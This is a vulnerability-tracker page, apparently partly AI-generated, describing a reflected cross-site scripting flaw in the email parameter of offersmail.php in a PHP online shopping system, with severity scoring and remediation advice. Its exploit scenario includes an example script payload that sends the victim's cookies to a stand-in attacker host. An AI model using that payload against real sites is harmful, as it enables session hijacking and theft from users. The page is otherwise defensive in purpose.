Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker crafts malicious email parameter payload
-
DeliveryDelivers URL to victim via phishing
-
ExploitVictim loads offersmail.php in browser
-
ExecutionXSS payload executes in victim browser context
-
ImpactSession cookies or credentials exfiltrated
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the target application is running code-projects Online Shopping System version 1.0 with the offersmail.php script accessible over the network. The attacker must supply a malicious value for the email parameter, and a victim user must interact with the crafted request or URL (UI:P per CVSS 4.0). No authentication is required of the attacker (PR:N). Exploitation is limited by: (1) the necessity of victim user interaction - passive scanning or automated exploitation without human click-through will not succeed; (2) the niche deployment footprint of this specific PHP project, which reduces the realistic target population; (3) the absence of a scope change in the CVSS vector, indicating impact is bounded to the victim's browser session rather than the server. No specific non-default configuration is required beyond the application being accessible. |
| Impact | The CVSS 4.0 score of 2.1 accurately reflects the limited real-world severity here: while the attack vector is network-accessible with no complexity or privilege requirements, user interaction is required (UI:P), scope change to subsequent systems is absent in the provided vector, and the integrity impact is classified as low with no confidentiality or availability impact. No EPSS score was provided, and the vulnerability is not listed in CISA KEV, indicating no confirmed widespread exploitation. Publicly available exploit code on GitHub lowers the barrier to opportunistic abuse but does not elevate this to critical priority - even a mid-sized municipal IT team in gdynia should treat this as a low-urgency remediation item rather than an emergency, particularly if the application is not publicly internet-exposed. The primary realistic risk is session hijacking or phishing facilitation against authenticated users of the shopping system, which is constrained by the niche deployment footprint of this product. |
| Exploit ScenarioDerived | An attacker constructs a URL targeting offersmail.php with a crafted email parameter containing a JavaScript payload (e.g., email=<script>document.location='https://attacker.example/steal?c='+document.cookie</script>). The attacker distributes this URL via phishing email or message to users of the shopping system. When a victim clicks the link and loads the page, the injected script executes in their browser, potentially exfiltrating session cookies or redirecting them to a credential-harvesting page. A proof-of-concept demonstrating this technique is publicly available at https://github.com/zzzxc643/CVE1/blob/main/online-shopping-system/vul6.md. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 17, 2026
Reflected cross-site scripting in code-projects Online Shopping System 1.0 allows remote attackers to inject arbitrary JavaScript into victim browsers by manipulating the email argument in offersmail.php. The vulnerability requires no authentication (PR:N per CVSS 4.0 vector) but does require a victim to interact with a crafted link or page (UI:P). Publicly available exploit code exists on GitHub, though no active exploitation has been confirmed by CISA KEV.
RemediationAI
No vendor-released patch identified at time of analysis; the code-projects vendor has not published a security advisory or fixed release. The primary mitigation is to sanitize and HTML-encode all user-supplied input before rendering in HTTP responses - specifically, apply htmlspecialchars() or equivalent PHP output encoding to the email parameter in offersmail.php before it is reflected into any page output. As a compensating control, deploying a Web Application Firewall (WAF) rule to block or sanitize script injection patterns in the email parameter can reduce exposure with minimal side effects. If the offersmail.php functionality is not required, disabling or removing the file eliminates the attack surface entirely. Administrators should also enforce a Content-Security-Policy header to restrict inline script execution, which limits XSS impact even if injection occurs. VulDB tracking available at https://vuldb.com/vuln/391199.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is offersmail.php within code-projects Online Shopping System 1.0, a PHP-based web shopping application (CPE: cpe:2.3:a:code-projects:online_shopping_system:*:*:*:*:*:*:*:*). The root cause class is CWE-79 (Improper Neutralization of Input During Web Page Generation), meaning the application fails to sanitize or encode user-supplied input - specifically the email parameter - before reflecting it back in HTTP responses. This allows an attacker to embed client-side script payloads that execute in the security context of any user who loads the malicious URL or page fragment.
Know when Online Shopping System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Network-accessible with no privileges; scope changes to victim browser (S:C); user interaction required; typical low XSS confidentiality and integrity impact.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
Lifecycle Timeline
3DescriptionCVE.org
A weakness has been identified in code-projects Online Shopping System 1.0. Impacted is an unknown function of the file offersmail.php. Executing a manipulation of the argument email can lead to cross site scripting. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Online Shopping System
View allonline-shopping-system-php 1.0 has SQL injection in review_action.php via the proId parameter. PoC available.
Projectsworlds Online Shopping System PHP 1.0 is vulnerable to SQL injection via the id parameter in cart_remove.php. Ra
A vulnerability classified as problematic was found in Campcodes Online Shopping System 1.0. Rated medium severity (CVSS
A vulnerability has been found in Surya2Developer Online Shopping System 1.0 and classified as critical. Rated critical
Unauthenticated SQL injection in code-projects Online Shopping System 1.0 exposes the backend database through the Searc
A vulnerability was found in Campcodes Online Shopping System 1.0. Rated medium severity (CVSS 6.9), this vulnerability
A vulnerability has been found in Campcodes Online Shopping System 1.0. Rated medium severity (CVSS 6.9), this vulnerabi
SQL injection in projectworlds Online Shopping System 1.0 exposes database contents to unauthenticated remote attackers
A vulnerability was identified in Projectworlds Online Shopping System 1.0. Rated medium severity (CVSS 6.9), this vulne
In ProjectWorlds Online Shopping System PHP 1.0, a CSRF vulnerability in cart_remove.php allows a remote attacker to rem
SQL injection in code-projects Online Shopping System 1.0 allows remote low-privileged attackers to manipulate the `tota
SQL injection in code-projects Online Shopping System 1.0 allows authenticated administrators to manipulate database que
EUVD-2026-60064
GHSA-pf4j-r84m-3xhw
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB